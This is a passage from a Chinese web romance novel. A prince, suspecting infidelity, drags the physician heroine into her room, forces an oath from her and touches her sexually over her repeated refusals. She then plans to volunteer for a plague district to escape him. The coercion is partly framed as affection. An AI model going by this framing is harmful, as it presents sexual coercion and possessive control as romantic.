霜降秋寒渐浓渐深,习习凉风吹落树梢的叶子,打着旋儿飘来荡去,程芙盯着树叶,看它们漂浮在安静的空荡荡的胡同,而后落在他结实的肩。 原以为再也不会相见的孽缘,怎么又出现了? 他穿着玄色湖绸道袍,外罩同色的披风,精瘦的腰只系了简单的绦带,风卷起灵动的丝绸衣袂,金线织就的祥云纹仿佛夜海闪烁的星子,沉浮跌宕。 他抿唇盯着她,一眨不眨。 柳余琴惊讶地张了张嘴,目光发亮,直勾勾打量崔令瞻的脸。 这是真的人吧? 杨氏一把拉住了她:“妹妹过来,我有话与你说。” “等下再说,这位后生是……?” “我认识的那位贵公子。你先进来,我仔细跟你说说底细,让他们年轻人叙旧去。” 柳余琴又不是傻子,可也不好对恩人太过冒昧,只能压着嗓子道:“不行,他怎么能上来就抓住我们家阿芙的手腕子,还把她拉进我家,不是,他怎么能进我家?他谁啊?” “他姓崔,一般人不敢叫他名讳,你称他毅王即可。”杨氏温和道。 “……” 柳余琴脑子嗡的一声,睁大了眼瞪着杨氏,眼瞳晃动。 程芙没有惊恐也没有太过惊讶,风把熟悉的清英淡香吹进她鼻腔,涌入了肺腑。 崔令瞻蓦地攥住她手腕,旁若无人走进她家中。 小小的四合院,程芙呼唤:“小桃。” “冬芹。” “米嫂子。” “马嫂子。” 鸦雀无声。 崔令瞻:“我不喜欢不相干的人打扰你我。” 程芙一惊,难以置信瞪圆了眼。 崔令瞻:“在隔壁,都活着。” 那副要活吃了他的厉色陡然就消了,程芙茫然地望着他,揣度着,他过得不好吗?还是想新旧口味交替品尝? 崔令瞻:“进屋。” 程芙:“我不想。” 看出了她的怯意,崔令瞻没有继续勉强,捧起她巴掌大的小脸,带有薄茧的拇指轻抚那细嫩到一碰就红的香腮。 有点疼,程芙皱了眉。 “王爷,我不喜欢您这样,会吓到我姨母。”她想把他的手从脸上抓下,未能如愿,僵持之中,看起来好似他捧着她的脸,而她捧着他的手,诡异的缠绵。 “阿芙不喜欢的事情那么多,可我也不能什么都顺着你,对不对?” “您这是怎么了?” “四十余日未见,半点也不想我吗?” “我以为您走了,放过了我。” “我为何要放过你?” “……”程芙颊肉微抖,却努力憋着,唯恐最细微的肌肉牵动把蓄满眼眶的泪抖落。 她一哭,崔令瞻的心就软了,头上绿色的云也散了,低头把滚烫的唇贴在她额头,哑声呢喃:“我又不是不惦记你,每天都在三百里外的地方读着关于你的书信,你是勤奋的小医女,努力攒钱想买最好的铺子……” 程芙想把头撇开,挣扎了许久,他把她抱在怀中,她的脸埋在他胸口。 “走之前没去找你,是觉得你还没消气,我怕你逆反心理上来又跟我唱反调。” “是因为中间要相亲,赶时间吗?” “……?” “猜对了。”她笑了笑,“阿芙不是故意拆您的台,可我没有陪您谈情说爱的力气,也不想。主要是没想到你这么爱演。” “谁演了,我跟谁相亲了?” “这是您自己的事,为何要问我?” 崔令瞻面无表情看着她,“把话说清楚。” 程芙见过他很多冷脸,但冷至少是表情的一种,也见过他凶恶的模样,故意吓唬她,而后不停嘬她的唇,索吻。唯有面无表情,她毫无经验,完全不知如何应对。 莫名害怕。 崔令瞻的声音没有一丝起伏,“倒是你,孤身跑去凌府做什么?孤男寡女共处一室你们做什么?” 程芙脸色一白,像条被人掐住了七寸的小蛇。 崔令瞻眯了眯眼,“怎么不讲话?方才质问我的嘴脸呢?” 程芙嘴唇嚅动,鼻尖儿渗出一层细汗。 崔令瞻:“你好无耻啊。” “……” “本王与你相比,实不及你分毫!本王从未和除你以外的女子独处一室,更没有与别人搂搂抱抱十余日!” 程芙的脸越来越红,“……” 崔令瞻冷笑,“别说我冤枉了你。”他抓起她的手,缓缓举过头顶,咬着牙,慢慢地说,“你敢不敢对神明发誓?就以你的医道起誓,你与凌云清清白白。”《 》 50-55 第51章 柳余琴从不知杨氏的力气那么大, 单手抓着她腕子,她的身体就不由自主往前跑,一直跑进了杨氏的家, 身后大门砰的一声阖上。 省去多余的寒暄, 也不必追问毅王怎么打开的柳家的门, 一个亲王想做什么做不到。柳余琴单刀直入:“你们想对阿芙做什么?” “做什么我们说了不算, 得看王爷心情。”杨氏吩咐婢女沏茶,诚邀柳余琴落座, 道,“我先跟妹妹道个歉, 任务在身不得不隐去身份, 但与你相处多日的情谊都是真的。” 讲完这些,杨氏透露了诸多营救柳余琴的细节,继而牵出了阿芙于十六日独自前往凌府, 与凌云单独相处了一炷香。 青天白日,孤男寡女这才是重点,且阿芙不是初犯了。 只要是男人,不对,只要是人,摊上这种事就笑不出。 杨氏:“纵使妹妹和阿芙不认,阿芙是王爷的女人这件事早已板上钉钉, 王爷一日不亲口说断, 阿芙就去不掉这层烙印,告到金銮殿也没用,想必你们从一开始就知道,你们应是连知府衙门都进不去。妹妹先别急着瞪我,你就说我讲的话有无一句虚言?” “姐姐没有一句虚言。”柳余琴目不转睛, “但就问姐姐我和阿芙冤不冤?” 杨氏痛快道:“冤。” “不过甲之砒霜,乙之蜜糖,这份冤不知有多少人想替阿芙承受,可惜了,事情怎么就走了这个地步?” “如果阿芙不是我家孩子,我的想法可能和姐姐一样,毕竟饿死不如饱死,金尊玉贵地闲愁比给没用的男人生儿育女伺候一大家子舒坦。”柳余琴说,“但阿芙是我家的孩子,她觉得委屈的事,我是一万个不支持,况且我们的日子还算过得去,不需要攀龙附凤。” 杨氏点点头,“咱俩都说的对,可咱俩都做不得主。背叛王爷……”说到这里,她叹了口气,目光移向柳余琴,问,“妹妹觉得这事儿还能轻松揭过?” 柳余琴原本惨白的脸色“唰”的又添了一层青。 揭过去?玩呢? 古往今来给皇亲国戚扎绿-头巾的男女,几人有好下场? 杨氏替她举例子:“前朝养外室被车-裂的驸马,觊觎郡主闺蜜不小心“跌落”悬崖的郡马,本朝的竼王妃可不是英年早逝哦,辉王的妾室因多看了侍卫一眼被……”说多了容易引起不适,点到为止。 宫闱秘辛什么的,柳余琴自是不清楚,但她知道民间百姓是如何惩罚犯妇的,轻则打个半死休弃,重则游街、沉塘、石刑。 那毅王人高马大的,一拳下去,阿芙还能喘气? 一阵尖锐的暴鸣在脑海呼啸,柳余琴天旋地转,杨氏和婢女抢在她歪倒前将人接住。 “我家阿芙没有,你们休要诬赖好人。”她气若游丝,不管真假,抵死不认,“毅王若伤阿芙一毫,我便让他知晓兔子急了也会蹬腿咬人。” 杨氏:“妹妹冷静,我也相信阿芙的为人,所以才把你请过来,腾空好叫二人敞开心扉,互诉衷肠,若能就此把误会解开,岂不皆大欢喜?” 柳余琴呜咽一声,扭头掩面大哭。 与杨宅紧邻的柳宅,小小的静谧的四合院内,乌眼儿鸡似的毅王,一手攥着姑娘家腕子,教她起誓;一手掐着那截堪比杨柳的纤腰。 程芙脑子里又没泡,漫说和凌云没到那一步,便是到了也不可能承认啊。况且神明也没多灵光,否则他——崔令瞻,早不知被她咒死多少回。 她根本没负担,顺着他力道竖起三指,满目讥讽瞪着蓝天白云,道:“我程芙以自己的性命和医道起誓,不曾与凌云发生苟且之事,一旦有违不得好……” 钳住她腕子的手猛然改为捂住了她的嘴。 逼她发誓的人是他,不叫发誓的她发出声音的也是他。 难不成还怕真降下一道天雷,连带上他一起劈死? “王爷,您放手。” 她被捂得很不舒服,身子受人禁锢,又热又勒。 “别乱动。”崔令瞻的声音有些不自然,“要不还是进屋。” “我不,你眼神好吓人,我不去!” 去屋里就更说不清,程芙哪能不知他想做什么,如何也不能听他的,干脆不要胳膊了,扯吧,尽管扯走吧,她一屁-股往后跌坐,企图用身体的重量抗衡。 哪知崔令瞻只是肌肉微一发力,便将她连人带院子里种着小葱的花盆一道扯进了屋。 期间她试图去扒门框,终是抵不住木头刮着手心嫩-肉的痛楚,到底是松手了。 程芙放下花盆,低头抹泪。 崔令瞻蹲身,单膝着地把她肩膀板正了,面朝自己,冷不丁发现柳家的地砖是土砖,乍一看挺干净,一靠近全是灰尘。 他忙提着程芙一齐站起身。 毅王高贵的辑里湖丝衣摆犹如明珠蒙尘,沾了好大一团灰,有一点滑稽,但现在有更重要的问题等着他和阿芙解决,脏就脏吧。 不用想也从崔令瞻嫌弃的眸底猜出他正在懊悔单膝跪地砖的举动。程芙莫名快意,仍是不愿往寝卧靠近一步,哀声道:“王爷,我寝卧更脏,半个月没换褥子了。” “……?” 下一瞬,他气急败坏道:“换不换与我何干?我要你,哪里不能要,何急于此刻?咱俩今儿必须说清楚,先说清楚凌云的事,再说吴小姐的。” “你要骂我打我……甚至杀我,不就一句话,何苦钝刀子割肉折磨我?” “我和你,到底谁折磨的谁?”崔令瞻像是第一天认识她似的,捧着她的脑袋,仔细看,深深看,还闻了闻,恨得牙痒痒,“你告诉我,一个姑娘跑去男人家里,身边连个婢女家人都不带,你们能做什么好事?” “你……下-流!” “你才下-流,你无耻!”崔令瞻道,“我就问你,除了硬闯燕阳城门那回,你和他,有没有再亲过?” 只要做过的事就一定会有痕迹,饶是程芙善于撒谎,但突然被人问到了点子上,仍是不受控制瑟缩了一下。 再微小的反应都躲不过崔令瞻洞若观火的眼,他气的两眼发热,额角一跳一跳的疼,“好好好,亲了,有没有到最后一步?” 他吼道。 他在吼她。 她第一次被崔令瞻吼。 这个人一向讲究,越生气说话也缓,慢条斯理的,让人看不清摸不透,而今,他像个非常普通的男子,对背叛的情人大喊大叫。 “没有!”她也大声回,“不管你信不信,我们没到那一步。” 她把视线定在他一滚一滚的喉结,待眼眶蓄了要落不落的泪珠儿,才哀哀道:“我说没有,您不信。我说有,您就有理有据杀了我。王爷若是我,该怎么答呀,您教教阿芙……” 崔令瞻一噎,凝在喉头。 程芙把双掌抵在他的胸-腹和自己的身体之间,“京师这么大,哪个大人物认识我?我姨母生死未卜,莫说要我牺牲清白了,便是命都豁得出去。只有凌大人……凌大人他搭理我,还帮过我,不找他我能找谁啊?” 崔令瞻搂着她,把脸埋进她哭得一抽一抽的颈窝,不言不语。 良久才瓮声瓮气道:“不许,再如何都不许那样。他可不是好人,比我还坏,若叫他得了手,以后想怎么拿捏你都成,把柄落人家手里,你敢不听话吗?” 一番话像盆冷水把程芙浇个激灵,崔令瞻不做人,却说了句人话,男女之间一旦起了头,哪有一晚之说,凌云若真心生邪念,只需拿睡过她这点,便真能要挟她一辈子,届时她敢不听从? 时下出了事,终究还是女人吃亏。 是她天真了,得亏凌云没有色令智昏。 “我说话,你有没有听?!”崔令瞻气得咬了一口愣神的她耳珠。 又痛又麻,程芙用力推开他,“你弄-疼我了!” 崔令瞻:“杨氏是我留给你的人,不管遇到什么,我都不会置你于不顾……” “可我不知道。我什么都不知道,你告诉我那种情况如何坐以待毙?” 崔令瞻不答,只低头亲她湿润的脸颊,乱颤的睫毛,把舌尖儿探入她口中,用她喜欢的方式撩一撩,缠一缠。 一吻泯恩仇。 程芙不愿他入-侵,顶出他的舌尖,别开脸趴在他怀中,泪珠大颗大颗滚落,不是委屈的,是吓得。 吓死她了。 她真的要吓死了。 还以为今儿在劫难逃。 想到自己主动诱惑凌云,主动提出美-色-交易,举凡泄露半个字,一家子都别活了。 所幸这些事儿,只要凌云还不想死,就绝不可能叫崔令瞻知晓。 程芙也早已合计好,如若凌云发疯出卖她,她将不遗余力攀咬,诬他强-行-占-有自己,一起下地狱。 崔令瞻:“你还有脸哭,也不满京城问问,去哪儿找我这样好性子的王爷?” “王爷性子好,这件事可不可以到此为止?” “你说呢?”他狠狠瞪她,饶是再多不甘,可她死咬着没被睡,他也只能认了,做人么,难得糊涂。 “那……可以放开阿芙了吗?” 他不放,继续道:“我和吴小姐相亲是何意?谁告诉你的?” “吴家大房的婢女。”程芙尚算讲义气,没打算出卖凌云,“她们逛福仙楼时讲得有鼻子有眼,想来是杜撰的,您不是那种人。”她累了,只想哄着他,让他赶紧滚。 “现在说我不是,方才上来就讥讽我相亲的坏女人又是谁?”崔令瞻冷冷道,“我要听她们说的原话。” 程芙如实复述。 崔令瞻铁青着脸,“一派胡言。” “确实,我看也像一派胡言。” “本王在瑾王府秀禾园走得好好的,突然冒出个女人……” 那日场景在毅王娓娓道来的声音里重现。 崔令瞻做客王叔府邸,墨砚始终随侍左右,巳初秀禾园突然出现了几名世家贵女,到这里他若还看不明白是场精心谋划的“相亲”,就白活了。 于是主仆二人匆匆撤离,刚一转弯,便觉香风扑面,幸亏墨砚应付突发状况早已炉火纯青,谁让姑娘们路过毅王总是容易磕绊呢,不是踩着裙子便是崴了脚,好似毅王怀里揣着磁石,专吸美人的磁石。 说时迟那时快,墨砚跳过去张开双臂。 汀小姐一头栽进墨砚怀中,动静如此之大,崔令瞻难免好奇,偏头撇汀小姐一眼,那一眼如同打量一花一草一石一木并无分别。 未料谣言传进阿芙耳中完全变了味道,变成他抱汀小姐,盯着汀小姐发呆。 而劳苦功高的墨砚,仿佛没存在过。 该交代的全部交代清楚。 至少他对阿芙没有一丝隐瞒,而阿芙有没有隐瞒他,鬼知道呢。 崔令瞻伏低身子,垂眸用自己尚带体温的帕子,仔细擦她脸颊,“此事本王暂且不再提。” “为何是暂且,您以后还要拿来为难阿芙吗?” “你多高的个儿呀,我为难你?”崔令瞻冷笑,“凌云这小子,有恃无恐,早晚我要他的命。” 程芙瑟缩了下。 崔令瞻收拢双臂,把她抱在怀里,边往内寝挪边道:“我给你说个事……” “您就在外面说吧。” 寝卧的两扇门扉被他单手扣上,不多会儿帐子里传来程芙细细的哼声,和一丝窸窣暧昧的动静。 须臾之后,又传来男人沙哑低沉的嬉笑:“好香,阿芙的褥子半个月不换都这么香。” “您闻的是褥子吗?”程芙欲哭无泪,苦苦撑着不让他得逞,“我,我没准备避火丸,求你了,不要这样,我害怕。” “怕什么,我有数。再如何都不会让你有孕伤了身子的,我就检查一下。” 检查什么,当然是检查可疑的痕迹。 这种事男人怎么可能轻易放下,他要自己求证。 十六日阿芙把自己送上门,今儿是十八,以凌云的年纪和体力,由己度人,崔令瞻笃定若真发生了就一定会有痕迹。 等喘息渐渐平复,崔令瞻帮怀里的人系纽襻,边系边啄那两片翕张,大口大口喘气的红唇。 “好了,不要生气。”他柔声哄道,“你瞧,我不是没把你怎样,又不痛。” 她仰首下巴垫在他肩上,一动不动,虚弱极了,在他掌心里软成了雪泥。 崔令瞻抱抱她,眸光微闪。 肌肤寸寸无暇,所有的反应都是他熟悉的,显然没有别的男人教过她。 他为阿芙盖上花棉被,起身整理衣襟袖摆,扬长而去,到了门口忽又驻足,偏头道:“待我从军机营回来,便接你去什锦胡同,舍不得姨母的话便一道接去,咱们好好过日子,莫再气我。” 她尖声叫的“你休想”三个字被崔令瞻巨大的关门声砰的吞了。 门外,崔令瞻牵起一侧唇角笑了笑。 指尖似乎还有她的味道,他低头嗅了嗅,心满意足离开了柳宅。 焦躁不安的柳余琴听得动静,一步跨出门槛,面对毅王,没有问安和停留,扭头冲进自家。 崔令瞻不以为忤,随从上前跪地,为他擦干净膝盖的尘土,侍奉他登上马车,绝尘离开了双槐胡同,连夜奔赴军机营。 柳余琴火急火燎环顾自家的四方小院,整齐有序,仅仅紧少了一盆葱。 盆,花盆,花盆砸人很疼的,好在并无打斗的痕迹,也没有血腥味。 应是没挨打,多美的人儿,她不信毅王舍得。 而那盆消失的小葱,完好无缺摆在明间。 柳余琴推开寝卧的门,大白天的,窗户和帐幔竟关得严严实实,微光映出帐子里朦朦胧胧的身影。 “畜-生啊!”柳余琴哭着扑过去,“阿芙,阿芙,你有没有事?” 程芙面红耳赤,慌忙捂住姨母的嘴,力道很轻,发出的声音更轻,“别让小桃她们听见,我……我没事。” “可吃过避火丸,糟了,家里没有!” “他没……发疯。” “没有?”柳余琴疑惑地问。 “嗯。”程芙暗暗咬了牙,轻描淡写道,“他就是占了点便宜,应是要确认我是否与凌云发生首尾。” 她又不是闺阁姑娘,心知肚明那种事极易留痕迹,自然也清楚崔令瞻打什么主意,他根本不信她的鬼话。 不过他中途硬生生忍住,却是她始料未及的。原还以为自己将生生遭他折腾一回。 不管怎样,好歹过去了这关。程芙吸了吸鼻子。 “凌云”二字使得柳余琴想起了前因后果,心里一凉,叹气,默然片刻,坐于床沿抱抱程芙,拍拍她后背。 “傻孩子。” “姨母莫要责怪我了。此番易地而处,姨母定然也与我一样。哪顾得上事后,再多的事后前提是人先活着,不然一切都白说。” “我知道,我哪里舍得怪你,我就是心疼。”柳余琴抹了把泪,温声问,“跟姨母说实话,有没有被凌云欺负?” 严格说起来更像她欺负了凌云,只这话不好说,所以被她略过去。 程芙难堪地垂下脸,“他没上钩。” 啊? 柳余琴:“……?” “他不屑鸡鸣狗盗的买卖,甩了我好一通脸色,原不指望他了,谁知转脸他又应下,亲自进宫为您周旋去了。” “如此说来,他倒也算真的热心肠,那日何故扬咱俩一脸灰?”柳余琴百思不得其解,复又灵台一闪,似乎想明白了,“他一直不肯不收礼,甚至给咱们原封不动退回来,我们却继续送,确实招人烦。” “或许吧。” …… 程芙有一会儿没说话,抬眼唤姨母。 柳余琴正在为她把脉,闻言嗯了声。 “对付毅王,我略有心得。”她抽出手腕,用力握了握姨母,“我先问您,今日……可曾对他无礼?” 柳余琴一头雾水,但还是十分配合程芙,仔细回忆了当时行径,“我着急你这边的情况,没对他施礼。” “言语呢?” “我都要急死了,哪顾得上说话。” 程芙神情一松,一个悄然酝酿过的主意初具形态。她贴近姨母耳朵小声递话。 柳余琴听得眉毛来回动,末了问:“唱大戏这方面我还行,好歹也是市井混过日子的,只是……只是这样会不会给你丢人?” 程芙冷笑,“我不在乎旁人眼光,也不想跟他过日子,谁稀罕他的正妻之位谁嫁他。”转而屏气凝神对上姨母的视线,“他待我颇有几分真的怜香惜玉,至今也没动我一指头。我想把您先摘出去,将来惹到他也好叫他迁怒不到您。” 柳余琴慢慢摇头:“可我不能再忍受你一个人冒险。” “不是冒险,纵然世上没有崔令瞻,我依然会走这条路,富贵险中求。”程芙偏头望向窗外橘红色的余晖,眯眸道,“不然咱们俩,进了太医署也是蝼蚁。” 这次的教训还不够吗? 她安慰姨母,“况且还不一定能成,那边兴许已解决,无需朝廷增派医员。” 程芙更希望是这样的结果。 “你确定皂河县有疫情?” 程芙用力点头,“十六日大清早,我找女医官询问您的情况,女医官面前摊着公文,她没当回事,我便偷看了几眼,全是用于瘟疫的药材,旁边盖着皂河县的章。” 柳余琴还是摇头,“如若命都没了,一切都没有意义。” 程芙莞尔:“医员多珍贵,朝廷又不傻,岂会拿咱们填窟窿,除非有一定的把握……您忘了嘛,我阿娘不仅擅长女科,还擅长隔断感染,以四毒汤熬煮面衣,每日戴好面衣,挨家挨户分发祛毒散肯定能有效控制的!” 这法子极有效,曾在小范围成功过,但定州皂河县非常大,堪比半座城。 程芙:“姨母,我不去赌一把,这辈子就这样了。” “在崔令瞻手里翻不出花,我累个半死,他可能以为我跟他打情骂俏。我光是喊有什么用,将来他非要我生孩子,为了活命我也只能生,一辈子受他拿捏。等哪天腻了,翻脸了,不好了,那么他对我的所有的忍耐和宽容都将是我不识好歹、作天作地的痕迹。” 柳余琴潸然泪下,双唇颤抖。 “别难过,朝廷增援大量药材,说明希望甚大,且真不一定舍得增派医员。”程芙说,“去不成的话我就把方子献给朝廷,也是功劳一项。” 柳余琴:“傻孩子,你把方子献上去就不是你的了,是你上官的。” “那也得救人呀。所以我得争取亲自去疫区,功劳不就全是我自己的。您翻翻史书,有人因此封侯,有人因此升官,我是女子,分不到那些好处,但给个吏目,甚至御医,还是可行的。” 成为有品级的女医官,女御医,皇后一定会深深记得她。 柳余琴只是摇头垂泪。 程芙把脸枕在她肩上。 方才,崔令瞻把她按在褥子上连哄带骗欺负时,她就下定了决心。 第52章 短短三天三夜, 先是姨母生死未卜,后又柳暗花明,紧接着再逢毅王。 每一件动静都不小, 每一件都提起十二万分的小心。 橘红色的夕阳慢慢染红了半边天际, 从花窗漏进屋子的光束越来越稀薄, 昏暗, 暗影笼着程芙饱满细腻的脸颊,宛如静谧的白瓷。 柳余琴启唇, 翕动之间,话语从喉头咽下。 微小的举动, 没逃过敏感的阿芙, “姨母年轻时可曾动过心?” 这是个轻松的话题,柳余琴笑道:“有啊,当时住在隔壁的书生, 可好看了,性格也好,对我说话温温和和,有一回我与你娘急用钱,他二话不说就借了我们整整五两银子呐,连利息都没要。” “那可真是个仗义的君子,后来呢?”程芙问。 “后来中了举, 变成举人老爷, 搬离桑树街,在东边购得新宅邸,次年迎娶秀才家的姑娘,日子过得挺美满。所以说好人还是有好报。” 程芙:“姨母遗不遗憾?” “遗憾啊,可他帮我不过是随手善举, 亦或当天心情好,反正不是对我有那方面意思。” 程芙变得沉默。 曾有人也随手帮过饿得头晕眼花的她,也没对她有非分之想,倒是她着了迷,痴了眼,暖了心,试图把杏花赠予他,似一场绚丽多彩的美梦。 前提是她没招惹他。 当她以罪人的身份跪在他脚下,美梦碎成了齑粉。脆弱的自尊和心脏在一次次凌迟后完全坍塌,重塑了对崔令瞻的认知,对这个尘世的认知。 她与第一眼惊艳的人,以极其不光彩的方式完成了女孩到女人的蜕变。 没有人在意,一切顺理成章,寻常如吃饭喝水,逗了檐下一只猫狗。 也没有人因此看轻她,在别人眼里她就该这样,长得好且没有自保的能力,唯一的优势不就是给男人暖-床,换取更好的生存资源? 再不济也比真正的奴仆强百倍。 不然还想怎样? 从只睡一段时间的通房到外室到妾室到王妃,是崔令瞻对这段关系的不断加码。 而她,并非不懂王妃意味着什么,也不是对好日子无动于衷,只是不甘心,太多的不甘心,日渐日汹涌。 无法忘记那段被他当作过玩物的过往。 霜降后的深秋,早晨出门穿夹了棉的厚衣仍觉凉风侵肌。 柳余琴从安国公府管事的口中得到了一点蛛丝马迹——京师的皇商确实在征缴大量药材,发往外地。 她问:“眼瞅着入冬,总不会哪里还有疫情?” 管事:“不好说,皂河县先是旱灾,后又涝灾,情况比周边的都要严重,几个月前就被朝廷封锁了,只准进不准出。” 消息灵通的人或多或少猜到了些,这种事哪朝哪代都经过,不过大昭今非昔比,医药水平空前提升,只要当地官员和朝廷配合不让疫情范围扩大,总能把伤亡损失降到最小。 然而天灾人祸一多难免引起朝野非议,再加上一群臭读书的嚼舌根,事态拱向了令人不虞的苗头,御史称坊间是这样流传的:人君不慈,上苍才降惩示警。 类似的童谣已经在定州流传开来,定州的几个世家大族郁气也越来越重,他们的亲族故旧团结起来,不断上疏陈情,施加压力,直把皇帝的老脑瓜子烦扰裂开,只得命户部和太医署着手经办。 先送些药材过去安定民心,维-稳大局。 比起朝廷运往皂河县的药材,毅王赏给凌云的药材速度更快。 九月廿二,它们被端放于红漆托盘,送进了凌府。 来使对凌云拱了拱手,笑道:“王爷向来念旧情,尤其是大人,令王爷记忆犹新,听闻大人因公受伤,特特赐下良药,命下官亲自给大人送过来。” 凌云抱拳欠一欠身,“多谢王爷挂念,下官不甚荣幸。” “王爷说了,等大人把身子养好再一起冬猎,领略一番大人的高超箭术。” “王爷箭术无可匹敌,下官怎敢在王爷面前献丑。” “哪里哪里,大人莫要妄自菲薄,王爷的箭术哪能比得过您,最近总是歪,邪门着呢,前几日就歪了一箭,没射中靶心反倒射穿了一条过路的狗,哈哈哈。” 校场哪来的狗? 凌云笑了笑。 来使嗤笑一声,勾勾手,两名内侍将托盘交割到凌府下人手中。 双方虚与委蛇三两句,毅王的人循着原路大摇大摆返回,凌府下人查看药材,脸色微变。 全是药不对症,什么狗胆、狗脊、狗肾,最后还有一张市井常见的劣质黄狗皮。 分明是在警告自家大人,骂大人是狗。 凌云呵呵笑着:“原来神秘的裙下之臣是毅王。” 色-诱他时声称与毅王断了,殊不知私下好着呢,明里钓着毅王暗里钓着他,朝秦暮楚两头吃,也不怕哪天翻了船,被毅王当成黄狗扒掉皮。 什么玩意! 早知十六那日就把她睡了,看她如何向毅王交代。 一脚踢翻红漆托盘,凌云冷脸抱臂大步回了次间。 生气就中了毅王的圈套,生气是最没有用的,他大咧咧横躺在临窗的炕上,直勾勾盯着房梁,指腹轻轻摩挲水波鲤鱼纹的妆花褥子。 细柔,像是她大胆的双唇。 毅王为了她专程从军机营回城,救她姨母于水火,她应是极尽妩媚和手段服侍了毅王一晚,真不要脸。 下次,他不会再给她好脸色了。 …… 程芙天不亮便偕同小桃逛了几家大药铺,伙计听闻要避瘟丸和雄黄丸,都说有,但只卖她一到两盒不等,再多就不行。 程芙:“此两味又没多稀奇,一般人家鲜有买的,我们为了行远路才多筹备几盒,敢问小哥,为何限量呢?” “定州这几年不太平,朝廷怕出乱子,从去年就开始往那边运送药材,每次都不多,你们才觉察不出什么,直到今年才突然明显,如今每家铺子的情况差不多,我建议你不如每家买两盒,凑一凑得了。” 程芙:“小哥说得有道理。” 小桃见状,掏出钱袋子付钱。 到这里程芙已经完全肯定自己的猜想。 主仆二人乘车返回双槐胡同,老远就见一辆阔气的马车停在胡同口,进了家门方知是拜访自家的客人。 客人年约五旬,穿缬纹印花杭州褙子,檀色泥金缘边的万字纹绫裙,非常和气,上来就恭恭敬敬地对着程芙福身,自报家门:“老奴姓姚,在卓侍郎府夫人身边服侍的,我们三奶奶身子一向弱,自从生完孩子更严重了,久闻柳家姨甥乃女科千金手,特来奉上拜帖一封,请程医女过府一叙,诊金都好说。” 荣升医员后,这种事会越来越常见,也是医女的主要收入来源,光靠朝廷那点俸禄肯定拮据。 程芙:“有劳妈妈专程跑一趟,民女定会尽心为三奶奶分忧。” 姚妈妈千恩万谢,留下厚礼作辞。 小桃说着“好香啊”打开礼盒,但见剔红抽屉共分了四层,每层码着整整齐齐干干净净的果子,有秋县梨、海棠果、羊角蜜瓜,还有南方才有的凤梨。 这可是稀罕物。 次早来了一群营造司的女工匠,她们全部站在杨家的院内,杨氏陪着笑过来说明原委。 土砖实在是太脏了,崔令瞻无法容忍阿芙长期在此般环境生活,必须换成打磨光滑的青砖。 窗子更差劲,不透光也不透气,如此冷的天,势必要经常关着,而她时常闷在屋里,岂不把人都闷坏了。 工匠们要为柳家上房东西两边的窗子都换成海月贝打磨的明瓦,半透明,阳光洒进来晒得暖烘烘的。 这是通知又不是商量,程芙淡淡道:“随便他。” 情人热忱又贴心,她却冷着脸,落在旁人眼里未免不识好歹,只有程芙自己清楚,崔令瞻又开始管东管西了,恨不能无时无刻不控制她。 就差派个芳璃过来监视她一举一动。 她有些恶意地想,等崔令瞻从军机营归来,发现她跑去了疫区,不定要如何气恼,大发雷霆。 那样才好,他不是口口声声想她疼她,就问他敢不敢去疫区送死?看似无所不能的的毅王可不擅长医术,说不准就出事,到时……恶意到此为止,她发现自己并不擅长用天灾人祸的不幸来诅咒别人。 反正想法也只是想法,谁的心里都会有阴暗,况且毅王也不可能去疫区。 他的小命金贵。 辞别杨氏,程芙扶着姨母登车,前往太医署站班,听医官训话去,因今日乃十月初一。 初一固定例会,十五则看医官心情。 自从身份揭开,柳杨两家很难再亲密如故,杨氏目送柳家姨甥上了车,方才摇首轻轻叹了口气。 车厢里,程芙对姨母道:“卓府的管事直接派人接我上门问诊,待会您忙完了自己坐车折回吧。” 柳余琴点点头:“我也回不了,我得去寿善药馆。” 娘俩隐约听见了银子的响声,相视一笑。 “记得谨言慎行,大户人家最忌多嘴多舌,不该管的莫要管,任何事的前提得是自保。”做长辈的总有操不完的心,主要是她怕了,害怕阿芙也像她一样耿直。 秋嫔有孕一事,以她的聪慧又岂会反应不过来,可无辜的胎儿使得她再三迟疑,最终坏了邱贵妃好事,越想越怕,至今心有余悸。 程芙靠着姨母道:“您且放心,我本就寡言少语,上回的教训我早已牢记,一切都有分寸。” 她们离开后,杨氏熟练地打开了柳宅,安排工匠进门。 这群人均出自工部营造司,见过不少贵人,做起事情十分规矩仔细,在柳家仆婢的配合下,小心翼翼搬出家具,开始铺地砖。 敲敲打打,娴熟又利落,照这样看最多两日便能完工。 而程芙和姨母只需在杨宅借宿一晚即可。 杨氏捏着帕子来回踱步,把所有细节都叮嘱完才退到院子外歇口气,目光噌的一下子点亮了。 好漂亮的孩子。 只见又矮又圆的徐氏身边站着个少年人,高个子,白皮肤,黑眼睛,两片形状优美的薄唇红润润,越看越水灵。 徐氏主动打招呼,道:“杨姐姐好呀,这是我侄儿,今日才到京师,明年就要参加春闱的。” 音色轻快爽朗,浸润着满满的骄傲。 杨氏:“这孩子才多大,就要参加春闱?” 每个人都会这么问,徐氏等的便是这句话呢,她笑容更甚,偏头看一看自家的侄儿,柔声道:“已经满十七,确实还小了点,不过运气好,今年侥幸中了我们广江省的解元,广江学道亲自送他来的京师呢,一文钱路费都不要哥哥家出。” 说罢掩着帕子咯咯笑。 徐峻茂抿笑,耳朵微微泛红,揖礼道:“杨婶婶。” “嗳呀好孩子,真了不起啊,怕不是广江数一数二的神童。”杨氏纳罕道。 “哪有什么神童,顽童倒是有一个,被我哥哥拿着棍棒教出来的。”徐氏谦虚道。 两人你一言我一语地叙起了话,不多时又被其他闻讯赶来的邻里围住。 解元诶,观赏性仅次于三甲进士,那不得当奇景好好端详。 主要是徐峻茂唇红齿白,质如玉露松月,看上去乖巧又可爱,属于各个年龄段女子看一眼都要觉醒母爱的那一类。 然而十七岁都能成家了,也不是真的小,那再水灵也不可以上手掐他的脸,于是婶婶姨姨大娘们围着徐峻茂左夸夸右夸夸,夸了好一会,才放他回家。 徐氏走路带风,继哥哥之后,徐家总算又出了一棵读书的好苗子,那不得把小侄儿伺候好了,明年春闱,成败在此一举。 姑侄俩回到家,下人们还在搬箱笼,整理书册,表公子的房间在一进院采光最好的东厢房。 徐峻茂站在院子里道:“姑母,我说的人就拜托您了,您可千万别忘记叮嘱姑父为我打听。” 他不好直接请求姑父,未免落得读书三心二意的印象。 “知道了知道了,科考在即,莫要胡思乱想,待你高中,什么样的姑娘都有。”徐氏生怕他冲动之下耽误前程。 毛都没长齐呢,整天芙妹妹芙妹妹的,也不嫌害臊。 午后,双槐胡同又来了大人物,京师顺天府的府丞之子。 正四品的京官呐,在皇亲国戚聚集的什锦胡同一般般,可放到西门桥市附近妥妥是大人物。 